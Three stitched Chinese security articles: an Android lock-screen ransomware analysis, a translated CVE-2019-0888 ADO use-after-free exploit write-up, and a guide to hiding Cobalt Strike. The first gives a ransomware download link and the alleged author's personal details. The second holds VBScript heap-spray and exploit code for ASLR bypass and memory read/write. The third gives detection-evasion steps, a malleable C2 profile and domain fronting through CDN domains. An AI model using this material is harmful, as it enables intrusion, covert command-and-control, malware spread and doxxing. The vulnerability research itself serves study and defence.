对于我们来说，更关心的是被动式扫描的网络流量分析能力，更多的是他对于新增资产，服务变更等近乎实时的发现能力，并且被动式扫描并不会对服务器造成任何压力或者数据破坏，是主动式扫描器完美的补充。
注1：由于并未购买PVS，文中所有图是PVS的试用版 | 社区文章 |
**作者：0431实验室
公众号：[吉林省信睿网络](https://mp.weixin.qq.com/s?__biz=MzA3ODgxNjQ2MA==&mid=2649356774&idx=1&sn=8b778a312745ceb98bc653198a2199bf&chksm=87a1ac45b0d62553bb2c1aa1f1d4cb2b0eb1d13f5a424e16158106f6d66d5b25c08d136de756&mpshare=1&scene=1&srcid=1129TlNyKm5pnidGqYMyTPrz&sharer_sharetime=1574994152870&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=798fe8e51ef7f0247d82e2dcbe4b029f11712c1b6b3f0d5dc6a342aba0572170d18e3a616b79166b8901bf275492919857215ee110e7c9e7bb45d0a66450b083766d44a8cea664b3f1c5221098018a2f&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62070158&lang=zh_CN&pass_ticket=zLbC73sUmyAb9JMmU4NRNykqQ0XQrJvz%2FT4S4sW%2F%2F40mVBDmlwN3tzNuaDOPrKPp
"吉林省信睿网络")**
在一个风和日丽的早晨，我的朋友给我发来了一个秒抢红包的apk，我心想还有这好事呢？
### 0x01 初探安卓勒索病毒
下载安装便会看到以下情景
嗯？？？这一看就是个锁机的啊，坑人能不能坑的用点心？但我由此来了兴趣决定搞一下，曝光这些垃圾的锁机组织。
通常来说病毒的名称都会用一些有诱惑性的名字或者图标来吸引用户下载，当然，这个也不例外，有些人就会利用这点，将锁机程序或病毒佯装在程序里。
该病毒会诱导用户点击免费激活，注册使用，或者允许权限等让用户上钩。行为主要包括：
1.激活设备管理器，重置锁屏密码，并锁屏，同时监听用户修改锁屏密码的行为;
2.创建子线程，在SD卡中无限创建空文件和空文件夹，导致SD卡几乎无法打开。
3.将SD卡里的文件加密
首先先用模拟器进行安装，点击激活，模拟器无响应，重启模拟器后，在我意料之中的生成了密码锁，接下来讲apk丢入反编译神器中会生成很多文件。
**assets** :可以存放项目一些较大的资源文件，比如：图片，音乐，字体等。
**res** :可以存放项目所有的资源文件，比如：图片，文本等。
**lib** ：存放的是一些jar包，也就是第三方的东西。
**smail** :反编译出来的所有代码，语法与java不同，类似汇编 是Android虚拟机所使用的寄存器语言 。
**AndroidMainfest.xml** :清单文件，包含了整个应用的配置信息。
我们先进入他的清单文件，AndroidMainfest.xml可以看到很多配置信息。
uses-permission告诉我们的是该apk获取的一些权限:
**SEND_SMS:** 发送短信; **SYSTEM_ALERT_WINDOW** :显示悬浮窗锁屏;
**RECEIVE_BOOT_COMPLETED** :开机启动;
INTERNET:访问网络; **ACCESS_NETWORK_STATE** :查看网络状态; **WRITE_EXTERNAL_STORAGE**
:允许应用程序写入SD卡: **MOUNT_UNMOUNRT_FILESYSTEMS** :装载和卸载文件系统的
然后接下来看标签：
debuggle:是否能够被debug; icon:应用图标； theme:主题; name:应用类名。 接下来我们追踪到名为M的类。
可以看到activitedevice:激活设备管理器，ADD_DEVICE_ADMIN先获取了手机的超级用户权限，然后进入到MyAdmin。
进入MyAdmin中便可以看到锁屏密码为8985，继续向下可以看到s类，那里写的就应该是随机码了
进入s可以看到onCreate,解锁码为随机码+锁屏码8985
以上是一个比较简单的锁机程序，因为平常没什么时间，为了节约时间我只能在公交上看看逆向.
### 0x02 安卓勒索病毒分析
用手机搞逆向的一款工具叫 **MT管理器** ，MT管理器是安卓平台上一款功能强大的工具软件， 拥有独具特色的 **双窗口文件管理** 和强大的 **APK
编辑功能** ，让你可以在手机上高效地进行各种文件操作以及修改安卓软件。
感兴趣的小伙伴可以去玩一下。但因VIP功能需要花钱，所以我上网去寻找破解版下载，安装完成后，看到这个界面的我哭出了声。
秉着对勒索病毒的分析，我淡淡的点了允许，几秒钟后，我的模拟器重启后，一片青青草原映入眼帘，勒索病毒都做的这么丑的吗？
OK，我们还是一样先将apk进行反编译，是百度加固，然后我下载了MT管理器的正常版，发现这就是源文件的壳，那么就猜测这个锁机的apk只是混淆在其中。
此程序因是锁机apk镶嵌在MT管理器中，MT管理器本身使用了百度壳，就会混淆其中，接下来我们使用ADB工具，ADB是一个调试工具，借助adb，我们可以用电脑来控制Android上面的设备。查看释放的病毒进程名:adb
shell pm list packages便可以看到一个com.nmsl.shabi，嗯？？？果然没文化还没素质。
am force-stop
com.nmsl.shabi便杀死了进程，但是过了一会还会反复弹出，然后我重新安装了模拟器，在不联网的情况下锁机病毒不释放，便分析此锁机病毒是联网锁机病毒，当点允许时会向服务器发送请求然后释放锁机apk。接下来启动fidller神器，这是一个http协议调试代理工具，也就是说客户端的所有请求都要先经过Fiddler，然后通过fidller抓取这个下载锁机的网站。果然，HX.apk浮现眼前，网址为<https://kiss-125609989.cos.ap-chengdu.myqcloud.com/HX.apk>。
ping一下，找出IP地址，然后查询，看见此人买的是代理服务器。
接下来才开始真正的分析这个寄生在宿主apk上的锁机apk了
老规矩先看配置单，可以看到这里面获取的权限就比较多了,显示允许程序写入外部存储，比如SD卡上写文件;允许程序访问订阅信息的数据库，允许程序访问网络连接;允许程序显示系统窗口;允许程序获取任务信息;允许程序开机自动允许等等，不懂的小伙伴可以自行查询每个获取的权限。
主程序入口为MainActivity。
追踪过来便可看到onCreate,Class.forName("com.nmsl.shabi.Lock"),从代码中便可以看到跳转到com.nmsl.shabi.Lock类。
进入com.nmsl.shabi.Lock类分析代码，可以知道这里面写了多种加解密方法进行调用，例如DES,MD5等，猜测此锁机不止一层。
紧接着进入DES类，可以看见此作者拟定的字符也是非常有趣。
接下来进入PWD。
在这里还用到了zlib，进入zlib。
在Request代码里面可以看到请求了一个URL，我们去访问一下便可以看到一些字符，那这里就应该有一层解密是通过这个生成解锁码，然后根据这个解锁码进行解锁
以上这些就是可以利用的加解密代码，但由于最近搞开发，比较忙碌，所以只能大概分析到这里，算法和加解密我会在后续的文章中详解。
### 0x03 社会工程学
如果是一个小白中了这个勒索病毒怎么办？乖乖交钱吗？我们回到反编译文件xml中，搜索关键字QQ，便看到了此锁机一共有四层，也就是说你以为你乖乖的交了第一层的30块钱就能玩你的王者荣耀了？太天真了！一共得交260大洋，往下自己看吧。。。
根据锁机上留的QQ群，我找到了此人的QQ号，可以看到此人非常嚣张，先收费后解锁。此QQ号是个小号。
加了好友之后，通过一顿胡扯最后要到了这个人的真实微信，微信号为HX666HX7,广东阳江人,姓名**友。
### 0x04 结束语(未完待续)
文章到这里就告一段落了，劝诫大家，不要相信什么游戏外挂，微信秒抢红包，不要再网页上下载那些不明的破解apk；如果你下载了，当你安装后要求root权限，或者激活时，不要相信；如果你中了勒索病毒，找懂的人帮你解锁，解锁不了就刷机，刷机之后还不行就换手机吧，别成全了这些设计锁机的骗子，因为贪婪是无限的，你不知道他会给你挖多少坑，一层又一层的剥削你的财产。
勒索apk链接: <https://pan.baidu.com/s/1xXWlqkP37uT5Q7e62rI6sw> 提取码: wywg
* * * | 社区文章 |
# CVE-2019-0888：Windows ActiveX数据对象UAF漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 sophos，文章来源：news.sophos.com
原文地址：<https://news.sophos.com/en-us/2019/07/09/cve-2019-0888-use-after-free-in-windows-activex-data-objects-ado/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
SophosLabs安全研究团队近日在Windows ActiveX数据对象（ADO）组件中发现了一个use-after-free漏洞，本文详细阐述其漏洞原理和漏洞利用过程。
SophosLabs安全研究团队近日在Windows
ActiveX数据对象（ADO）组件中发现了一个安全漏洞。微软在周二发布的2019年6月版本的补丁中修复了这一漏洞。补丁发布已经过去一个月了，所以我们决定公布如下关于该漏洞的详细解释，以及如何利用该漏洞实现ASLR绕过和读/写原语。
本篇文章引用了Windows 10中32位的vbscript.dll文件（版本5.812.10240.16384）中的符号和类型信息。
## 背景
ADO是一种通过OLE数据库提供程序来访问和操控数据的API。在我们下面的示例中，OLE数据库提供程序就是Microsoft SQL
server。使用多种语言的不同程序都可以使用此API。
在本文的范围内，我们将使用Internet Explorer中运行的VBScript代码中的ADO，并连接到本地运行的[Microsoft SQL
Server 2014 Express](https://www.microsoft.com/en-ca/download/details.aspx?id=42299)实例。
下面是一个基本的VBScript脚本，它通过[ADO Recordset对象](https://docs.microsoft.com/en-us/sql/ado/reference/ado-api/recordset-object-ado?view=sql-server-2017)与本地数据库（名为SQLEXPRESS）建立连接。
On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
If Err.Number <> 0 Then
MsgBox("DB open error")
Else
MsgBox("DB opened")
End If
利用Internet Explorer的ADO建立连接会提示如下安全警告，这就使得该漏洞不便于以不被察觉地方式利用。
## 漏洞
Recordset对象的NextRecordset方法不正确地处理了其RecordsAffected参数。
当一个应用程序调用该方法，并将一个Object-typed变量传入其RecordsAffected参数，该方法会将使用该对象的引用计数减1，同时保持该对象变量可引用。
当引用计数将为0时，操作系统会销毁该对象变量并释放其内存。但是，由于该对象仍可以通过变量名称引用，进一步使用则会发生Use-After-Free的状况。
关于NextRecordset功能函数，其文档中包含有以下重要信息：
* 使用NextRecordset方法返回复合命令语句中下一条命令的结果，或是返回多个结果的存储过程。
* NextRecordset方法在断开连接的Recordset对象中不可用。
* 参数RecordsAffected可选。提供程序返回当前操作影响的记录数量的长度变量。
简单地说，该方法适用于连接的Recordset对象，检索并返回某种与数据库相关的数据，并将数字写回到所提供的参数。
该方法在msado15.dll库中实现，函数为：CRecordset::NextRecordset。以下是在[COM接口](https://docs.microsoft.com/en-us/windows/win32/com/defining-com-interfaces)中定义的NextRecordset方法：
如果该方法成功检索到数据库相关的数据，它会调用内部函数ProcessRecordsAffected，来将受影响的记录数量赋值给RecordsAffected参数。
ProcessRecordsAffected内部，该库创建一个本地变量，称为local_copy_of_RecordsAffected，将RecordsAffected参数[浅拷贝](https://en.wikipedia.org/wiki/Object_copying#Shallow_copy)到其中，然后调用VariantClear函数：
VariantClear有[详细介绍](https://docs.microsoft.com/en-us/windows/desktop/api/oleauto/nf-oleauto-variantclear)，参考引用：
“该函数通过将vt字段设置为VTEMPTY来清除VARIANTARG”
“VARIANTARG的当前内容首先释放。如果vt字段是VTDISPATCH，则释放该对象”
VBScript对象变量本质上是由C++实现的封装ActiveX对象。它们由CreateObject函数创建，例如上述代码中的RS变量。
VBScript对象在内部表示为VT_DISPATCH类型的Variant结构。因此，在这种情况下，对VariantClear的调用会将local_copy_of_RecordsAffected的类型设置为VT_EMPTY，并对其执行“释放”，这意味着它将调用其基础的C++对象的::Release方法，该方法将对象的引用计数减1（如果引用计数减到0，则销毁该对象。）
调用VariantClear后，函数如下继续进行：
此函数将64位整数变量RecordsAffectedNum转换为带符号的32位整数（此处称为VT_I4类型），并将该值传递给VariantChangeType，以试图将其转换为RecordsAffected_vt类型的变量，即在易受攻击的情况下的VT_DISPATCH。
不存在将VT_I4类型转换为VT_DISPATCH类型的逻辑，因此此处的VariantChangeType将始终执行失败，并且将产生早期返回路径。由于在其COM接口声明中使用out属性定义了RecordsAffected，因此ProcessRecordsAffected处理RecordsAffected的方式将对程序产生影响：
[out]属性表示作为指针的参数及其在内存中的关联数据将从被调用过程传递回调用过程。
简单而言，在NextRecordset返回后，RecordsAffected将会被传递回程序，无论其是处于原始状态还是由ProcessRecordsAffected修改过的任何状态。回顾函数在易受攻击的场景中经历的执行路径，我们可以看到它执行到return语句而不直接修改RecordsAffected。
VariantClear在RecordsAffected的副本中调用，因此它会触发副本的基础C++对象释放，并将副本的类型修改为VT_EMPTY。
由于拷贝是以浅拷贝的方式实现的，因此RecordsAffected及其副本都包含指向底层C
++对象的相同指针；其中一个变量的释放相当于第二个的释放。但是，将副本的类型修改为VT_EMPTY不会对RecordsAffected产生产生影响—其类型会保持不变。
由于RecordsAffected的类型尚未清空，它将被传递回程序并保持可引用，尽管其基础的C++对象被释放，并且可能被解除分配。
考虑到该漏洞是如何在每次调用该方法时触发，那么如何在不崩溃的情况下实现合法的调用呢？
回顾文档，它指定RecordsAffected应该是Long类型（VT_I4类型的变体）。VariantClear对VT_I4变体销毁的影响与对VT_DISPATCH变体（释放其对象）是不同的。因此，只要对该方法的调用使用符合预期类型的RecordsAffected，就不会对程序产生负面影响。
## 漏洞修复
该漏洞已于周二在[微软的2019年6月版补丁](https://news.sophos.com/en-us/2019/06/11/patch-tuesday-squashes-89-bugs-including-a-sophoslabs-find/)中修复，并被分配漏洞编号[CVE-2019-0888](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0888)。
函数ProcessRecordsAffected被修补，以省略局部变量local_copy_of_RecordsAffected，而不是直接在RecordsAffected上操作，正确清空其类型并防止它被传递回程序。
## “笨拙”的漏洞利用
使用该漏洞来实现某种类型的开发利用原语的最简单方法就是使对象被释放，然后立即用与被释放对象相同大小的受控数据内存分配来进行堆喷射，这样一来用于保存对象的内存便存有我们自己的任意数据。
On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
Set freed_object = CreateObject("ADOR.Recordset")
' Open Recordset connection to database
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
' Connection objects to be used for heap spray later
Dim array(1000)
For i = 0 To 1000
Set array(i) = CreateObject("ADODB.Connection")
Next
' Data to spray in heap: allocation size will be 0x418
' (size of CRecordset in 32-bit msado15.dll)
spray = ChrW(&h4141) & ChrW(&h4141) & _
ChrW(&h4141) & ChrW(&h4141) & _
Space(519)
' Trigger bug
Set Var1 = RS.NextRecordset(freed_object)
' Perform heap spray
For i = 0 To 1000
array(i).ConnectionString = spray
Next
' Trigger use after free
freed_object.Clone()
第4行创建了一个新的VBScript对象FieldObject，它带有一个基于C++类型的CRecordset对象，一个0x418字节大小的结构。
第27行将freed_object的底层C++对象的引用计数降低到0，并且应该导致其内部资源的重新分配。
第31行使用ADODB.Connection类的ConnectionString属性来进行堆喷射。当一个字符串被分配到ConnectionString中时，它会创建一个本地副本，分配一个与分配的字符串大小相同的内存块，并将其内容复制到其中。喷射字符串是精心制作的，以触发0x418字节的空间分配。
第35行解除引用freed_object。此时，对该变量的任何引用都会调用基础C++对象上的动态分派，这意味着它的虚拟表指针将被取消引用，并从该内存中加载函数指针。由于虚拟表指针位于C++对象的偏移0处，因此将加载该数值，并随后在喷射的前4个字节0x41414141中导致内存访问冲突异常。
为了使这个原语对实际的利用有用，我们需要依赖于程序地址空间中已知的可读、可控的内存地址—这是ASLR无法实现的一项壮举。为了在现代系统中利用这个漏洞，必须使用更好的方法来破解诸如ASLR之类的缓解措施。
## 高级开发利用
在寻找有关类似vbscript漏洞利用方法的现有研究时，我们涉及到了CVE-2018-8174。被称为“双杀”的漏洞利用，其于2018年5月左右被奇虎360安全公司在野发现。关于分析捕获的开发利用和潜在漏洞的文章已经有很多，因此，有关进一步的详细信息，我们将参考以下内容：
1. [Analysis of CVE-2018-8174 VBScript 0day](http://blogs.360.cn/post/cve-2018-8174-en.html),360 Qihoo
2. [Delving deep into VBScript: Analysis of CVE-2018-8174 exploitation](https://securelist.com/delving-deep-into-vbscript-analysis-of-cve-2018-8174-exploitation/86333/),Kaspersky Lab
3. [Dissecting modern browser exploit: case study of CVE-2018–8174](https://medium.com/@florek/dissecting-modern-browser-exploit-case-study-of-cve-2018-8174-1a6046729890),[piotrflorczyk](https://github.com/piotrflorczyk)
CVE-2018-8174是VBScript中关于处理Class_Terminate回调函数的use-after-free漏洞。从本质上讲，它允许随意释放一个vbscript对象，但保持它是可引用的，类似于ADO漏洞的特性。
捕获的漏洞利用实现了一种复杂的技术，该技术采用类型混淆攻击来将use-after-free功能转化为ASLR绕过和任意地址读写的原语。如果没有启用它的漏洞，该技术本身并没有用，并且在技术层面也不是漏洞，因此它从未被“修复”，仍然存在于代码库中。[Piotr
Florczyk的文章](https://medium.com/@florek/dissecting-modern-browser-exploit-case-study-of-cve-2018-8174-1a6046729890)很好地诠释了这一技术细节。
鉴于两个漏洞之间的相似性，应该可以从Florczyk的文章中获取[CVE-2018-8174的注释漏洞利用代码](https://github.com/piotrflorczyk/cve-2018-8174_analysis/blob/master/analysis.vbs)，替换针对特定漏洞的代码部分以利用ADO漏洞，并以同样的方式使其成功运行。实际上，应用这个简单的补丁可以生成有效的ADO漏洞利用。
diff --git a/analysis_base.vbs b/analysis_modified.vbs
index 6c1cd3f..fd25809 100644
--- a/analysis_base.vbs
+++ b/analysis_modified.vbs
@@ -1,3 +1,14 @@
+Dim RS(13)
+For i = 0 to UBound(RS)
+ Set RS(i) = CreateObject("ADOR.Recordset")
+ RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
+ "Provider=SQLOLEDB;" & _
+ "Data Source=.\SQLEXPRESS;" & _
+ "Initial Catalog=master;" & _
+ "Integrated Security=SSPI;" & _
+ "Trusted_Connection=True;"
+Next
+
Dim FreedObjectArray
Dim UafArrayA(6),UafArrayB(6)
Dim UafCounter
@@ -101,7 +112,8 @@ Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
- UafArrayA(idx)=0
+ On Error Resume Next
+ Set m = RS(idx).NextRecordset(resueObjectA_arr)
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
@@ -116,7 +128,8 @@ Public Default Property Get P
Dim objectImitatingInteger
P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
For idx=0 To 6
- UafArrayB(idx)=0
+ On Error Resume Next
+ Set m = RS(7+idx).NextRecordset(resueObjectB_int)
Next
Set objectImitatingInteger=New FakeReuseClass
objectImitatingInteger.mem=Empty16BString
@@ -136,19 +149,7 @@ Sub UafTrigger
For idx=20 To 38
Set objectArray(idx)=New ReuseClass
Next
- UafCounter=0
- For idx=0 To 6
- ReDim FreedObjectArray(1)
- Set FreedObjectArray(1)=New ClassTerminateA
- Erase FreedObjectArray
- Next
Set resueObjectA_arr=New ReuseClass
- UafCounter=0
- For idx=0 To 6
- ReDim FreedObjectArray(1)
- Set FreedObjectArray(1)=New ClassTerminateB
- Erase FreedObjectArray
- Next
Set resueObjectB_int=New ReuseClass
End Sub
事实证明，此漏洞适用于运行Windows7的系统，但不适用于Windows8或更高版本。原始捕获的漏洞利用也是如此。漏洞利用由于“低碎片堆(LFH)分配顺序随机化”而中断，这是Windows
8中引入的堆的安全措施，它[阻断了简单的use-after-free漏洞利用](https://www.malwaretech.com/2019/04/analysis-of-a-vb-script-heap-overflow.html)方案。
## 绕过低碎片堆分配顺序随机化
下面是Microsoft引入LFH分配顺序随机化后堆行为如何变化的一个示例：
引入分配顺序随机化改变了malloc-> free-> malloc执行的结果，从遵循LIFO（后进先出）逻辑转变为不确定性。
为什么这会打破漏洞利用呢？请考虑以下摘选的注释漏洞利用代码：
Class ReplacingClass_Array
Public Default Property Get Q
...
For idx=0 To 6
On Error Resume Next
Set m = RS(idx).NextRecordset(reuseObjectA_arr)
Next
Set objectImitatingArray=New FakeReuseClass
...
在VBScript中，所有自定义类对象都由VBScriptClassC++类内部表示。VBScript执行自定类对象实例化语句（示例代码第8行）时调用函数VBScriptClass::Create。它使用分配的0x44字节大小来保存VBScriptClass对象。
当控制流执行到第8行时，For循环刚好完成reuseObjectA_arr的销毁，其是自定义类ReuseClass的一个实例。这将导致调用VBScriptClass析构函数，释放先前分配的0x44字节。然后，第8行继续创建一个新对象objectImitatingArray，这是一个不同的自定义类FakeReuseClass。
成功运行类型混淆攻击的基础是，假设objectImitatingArray将被分配与刚刚释放的reuseObjectA_arr相同的堆内存资源。但是，正如前文提到的，在启用了分配顺序随机化的情况下，并不能做此假设，随机化的堆将会破坏该漏洞利用。
由于类型混淆攻击的结果，内存会损坏。发生损坏的堆分配并不是VBScriptClass本身的顶级（0x44）分配，而是一个与之绑定的、大小为0x108字节的子分配，用于存储对象的方法和变量。负责此子分配的函数是NameList::FCreateVval，其在创建VBScriptClass后不久调用（参见[文章2](https://securelist.com/delving-deep-into-vbscript-analysis-of-cve-2018-8174-exploitation/86333/)）。
下面更加具体地说明需要满足的条件，如果在reuseObjectA_arr销毁后，一个新的VBScript对象接收到与之前reuseObjectA_arr相同的0x108字节大小的分配地址，则类型混淆攻击会成功运行。与两个对象绑定的其他分配（包括0x44字节大小的顶级分配），不一定要获得匹配的地址。
该技术的内存损坏部分的具体细节并不是很容易理解，建议阅读[卡巴斯基的背景文章](https://securelist.com/delving-deep-into-vbscript-analysis-of-cve-2018-8174-exploitation/86333/)以更好地理解它，但这里是它的要点。
ReuseClass的方法SetProp具有以下语句：mem=Value。Value是一个对象变量，因此在完成赋值之前必须调用其[Default
Property
Getter](http://www.stealthbot.net/wiki/VBScript_class#Default_property_or_method)
vbscript引擎（vbscript.dll）调用内部函数AssignVar来执行此类赋值。这是一个简化的伪代码，用来解释它的工作原理：
AssignVar(VARIANT *destinationObject, char *destinationVariableName, VARIANT *source) {
// here, destinationObject is a ReuseClass instance, destinationVariableName is "mem", source is <Value>
// get the address of object <destinationObject>'s member variable with the name <destinationVariableName>.
VARIANT *destinationPointer = CScriptRuntime::GetVarAdr(destinationObject, destinationVariableName);
// if the given source is an object, call the object's
// default property getter to get the actual source value
if (source->vt == VT_IDISPATCH) {
VARIANT *sourceValue = VAR::InvokeByDispID(source);
}
// perform the assignment
*destinationPointer = *sourceValue;
}
函数VAR::InvokeByDispID调用源对象的默认属性getter，允许我们在AssignVar执行过程中运行任意的VBScript代码。如果我们使用该空间来触发destinationObject内存中的销毁和替换（利用该漏洞），我们就能够利用AssignVar继续执行到destinationPointer的赋值（第十四行），而不会察觉到其指向的内存可能已经被篡改。
正在写入的内存地址是CScriptRuntime::GetVarAdr的返回值，它是指向给定对象0x108分配空间某处的指针。它在分配空间中的精确偏移量取决于给定对象的类定义，特别是其方法和字段名称的长度。
通过强制公共成员变量mem使用不同的偏移量来实现ReuseClass和FakeReuseClass的定义。这样一来，我们强制最终的赋值来破坏对象的mem变量的头部，以便将其转换为基指针为null且长度为0x7fffffff的数组类型。
CVE-2018-8174的漏洞利用使用了一种一次性的方法来尝试解决类型混淆攻击，这意味着在销毁reuseObjectA_arr之后只会创建一个新的对象。正如前文所述，这只能在Windows
8之前的操作系统上稳定运行，它们缺少LFH分配顺序随机化的特性。
为了使这种漏洞利用在Windows10系统上有效，我们可以实现一种暴力的方法来尝试类型混淆攻击。我们可以批量创建新对象，而不是创建单个的新对象，这样就可以确保释放的0x108空间最终被分配到其中一个对象中。
下面是将代码转换为通过暴力实现的方法：
Set reuseObjectA_arr=New ReuseClass
...
Class ReplacingClass_Array
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For i=0 To 6
DecrementRefcount(reuseObjectA_arr)
Next
For i=0 to UBound(UafArrayA)
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For j=0 To 6
Set UafArrayA(i,j)=objectImitatingArray
Next
Next
End Property
End Class
下面是上述代码的实际逻辑的可视化视图：
当UafArrayA数组被新的FakeReuseClass对象大量填充，并且mem=Value赋值完成后，我们就可以在数组上进行迭代，找到其mem变量已成功被损坏成为数组的对象。
For i=0 To UBound(UafArrayA)
Err.Clear
a = UafArrayA(i,0).mem(Empty16BString_addr)
If Err.Number = 0 Then
Exit For
End If
Next
If i > UBound(UafArrayA) Then
MsgBox("Could not find an object corrupted by reuseObjectA_arr")
Else
MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
Set UafArrayA_obj = UafArrayA(i,0)
End If
被损坏的对象是唯一一个不会在第三行代码中引发异常的对象，一旦我们找到它，它就可以通过任何索引进行引用，允许在进程内存空间内的任意地址进行读写操作。
通过对原始漏洞利用过程的修正，它现在也可以在Windows 10系统上有效运行。
## PoC
可以在[SophosLabs GitHub
repository](https://github.com/sophoslabs/CVE-2019-0888)找到PoC | 社区文章 |
**作者：Keyi
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
### Cobalt Strike简介
Cobalt Strike is software for Adversary Simulations and Red Team Operations.
Cobalt Strike 简称CS，
[A-team详细介绍使用网址](https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf)。CS是一款优秀的后渗透工具，可以在获取主机权限后进行长久权限维持，快速进行内网提权，凭据导出等。在后渗透中如果未修改特征，容易被流量审计设备监控，被蓝队溯源。
**多人运动来不来** ？
### 去除特征的三种方式
#### 1.修改默认端口
第一种是直接编辑teamserver进行启动项修改。 \- ./teamserver 1.1.1.1 password 直接修改teamserver vim
teamserver
第二种是启动的时候指定server_port端口
- java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile
#### 2.去除证书特征
进入cs目录。
查看keytool -list -v -keystore cobaltstrike.store
证书情况，输入默认密码123456回车，可以看到所有者、发布者中Cobalt Strike相关字样。
**keytool** 是一个Java 数据证书的管理工具，使用如下： keytool -keystore cobaltstrike.store
-storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname
"CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)。
example: `keytool -keystore cobaltstrike.store -storepass 123456 -keypass
123456 -genkey -keyalg RSA -alias google.com -dname "CN=US, OU=google.com,
O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"`
未修改cobaltstrike.store前：
修改cobaltstrike.store后，可以看到cobalt strike等关键字样已经去除：
google.profile模版可以参考[C2.profile](https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/)和[malleable-c2](https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.0.profile)
设置后，可以看到访问/image/后已经返回的是我们设置好的header 了 "Content-Type" "img/jpg"; "Server"
"nginx/1.10.3 (Ubuntu)";
部分引用源码如下：
#
# cs profile
# http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/
# https://github.com/rsmudge/Malleable-C2-Profiles/
# Author: @keyi
#
set sample_name "google";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "nginx/1.10.3 (Ubuntu)";
output {
base64;
print;
}
}
}
http-post {
set uri "/history/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".asp";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
#### 3.修改Cobalt Strike dns_idle
0.0.0.0是Cobalt Strike DNS Beacon特征可设置Malleable C2进行修改 输入set dns_idle
"8.8.8.8";
* * *
### 域前置
#### 原理
> 域前置（英语： _Domain fronting_
> ），是一种隐藏连接真实端点来规避互联网审查的技术。在应用层上运作时，域前置使用户能通过HTTP连接到白名单域名（如*.google.cn），无直接与C2服务器的通信。
> 介绍：被攻击机器 -> `www.microport.com`(走aliyun cdn的域名，根据设定的host头:
> dns.google.cn找到对应的vps_ip) -> cdn流量转发到vps_ip(c2真实地址)
>
#### 实战配置CDN
购买云服务器，开通CDN服务。 加速域名：随便填个高信誉的域名实现域名伪造，例如： **oss.microsoft.com** ，
**dns.google.com** 之类的。
登陆aliyun。
在IP位置填写cs_teamserver的IP地址。
配置c2的Stager的域名为走cdn的地址，如：`www.microport.com.cn`
`www.microport.com.cn`这种是走aliyun
cdn的。其中`dns.google.cn`是伪造的域名地址，目的是目标机器访问cdn的时候可以根据google.cn特征找到对应的vps_ip。
有没人跟我有相同的疑问，这个走aliyun的cdn域名如何获取。这边波师傅给我提供了一些，可能域名作废或者不走cdn了，大家可以根据curl做一下测试。
admin.bjexpo.com
admin.cailianpress.com
admin.cheyian.com
admin.cydf.com
admin.ebp2p.com
admin.k3.cn
admin.ks5u.com
admin.kyjxy.com
admin.lezi.com
admin.weiba66.com
admin.wuzhenfestival.com
admin.xingfujie.cn
admin.yxp2p.com
anxin360.com
api.3658mall.com
api.bjexpo.com
api.cheyian.com
api.cydf.com
api.ebp2p.com
api.ks5u.com
api.kyjxy.com
api.lanjinger.com
api.my089.com
api.thecover.cn
api.uiyi.cn
api.utcard.cn
api.weiba66.com
api.wuzhenfestival.com
api.xingfujie.cn
api.yxp2p.com
api.zaozuo.com
app.bjexpo.com
app.chanjet.com
app.cheyian.com
app.ebp2p.com
app.eeo.com.cn
app.gfedu.cn
app.guojimami.com
